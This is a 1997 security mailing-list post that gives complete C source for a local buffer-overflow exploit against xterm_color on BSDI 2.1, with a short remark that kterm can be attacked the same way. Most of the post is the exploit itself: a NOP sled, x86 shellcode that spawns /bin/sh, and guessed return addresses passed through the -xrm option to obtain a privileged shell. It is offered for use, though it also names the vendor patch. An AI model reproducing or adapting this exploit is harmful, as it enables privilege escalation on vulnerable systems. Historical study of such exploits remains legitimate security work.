BSDI exploit for color_xterm and kterm

Date: Thu, 23 Oct 1997 08:32:10 +0200
From: Ladislav Bukvicka <Ladislav.Bukvicka@EUNET.CZ>
To: best-of-security@cyber.com.au
Subject: BoS:      BSDI xterm_color/kterm exploit


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Hi,
try this exploit, it works on BSDI 2.1 and I think that it works
in older versions too.
The patch from BSDI which fixes security problems with X11 library
on BSDI 2.1 has number U210-041.

This exploit is based on exploit of bug in Linux - color_xterm
which was here some time ago.

bye
pukvis

PS: exploit of kterm is the same, but you must rewrite paths.

- --- here is xterm_color expoit ---


/*

   xterm_color buffer overflow exploit for BsDi ... tested on BsDi 2.1

                                                        pukvis

*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

#define XTERM_COLOR_PATH "/usr/X11R6/bin/xterm_color"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
  "\xeb\x23"
   "\x5e"
   "\x8d\x1e"
   "\x89\x5e\x0b"
   "\x31\xd2"
   "\x89\x56\x07"
   "\x89\x56\x0f"
   "\x89\x56\x14"
   "\x88\x56\x19"
   "\x31\xc0"
   "\xb0\x3b"
   "\x8d\x4e\x0b"
   "\x89\xca"
   "\x52"
   "\x51"
   "\x53"
   "\x50"
   "\xeb\x18"
   "\xe8\xd8\xff\xff\xff"
   "/bin/sh"
   "\x01\x01\x01\x01"
   "\x02\x02\x02\x02"
  "\x03\x03\x03\x03"
  "\x9a\x04\x04\x04\x04\x07\x04";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc,char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   int i,OffSet = DEFAULT_OFFSET;

   if (argc>1) OffSet = atoi(argv[1]);

   buff = malloc(2048);
   if(!buff)
   {
      printf("mA1o pJaMJeti !!!\n");
      exit(0);
   }
   ptr = buff;

   for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
i+=NOP_SIZE) {
        memcpy (ptr,nop,NOP_SIZE);
        ptr+=NOP_SIZE;
   }

   for(i=0;i < strlen(shellcode);i++)
      *(ptr++) = shellcode[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_sp() + OffSet;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   (void) fprintf(stderr,
         "try if it goes - check your id\n");
    execl(XTERM_COLOR_PATH, "xterm_color", "-xrm",buff, NULL);
}

- --- end of xterm_color exploit ---

- --
====== ____                            = Ladislav Bukvicka ======
===== /      /   /   ___    ___  _/_  == Pod Sancemi  441/1 =====
==== /----  /   /  /   /  /___/  /   === Prague 9,Czech Rep. ====
=== /____  /___/  /   /  /___   /   ==== fax:+420(2) 66313404 ===
==                                 ===== tel.:+420(2) 66008161 ==
=  Connecting Europe since 1982   ====== e-mail:pukvis@eunet.cz =


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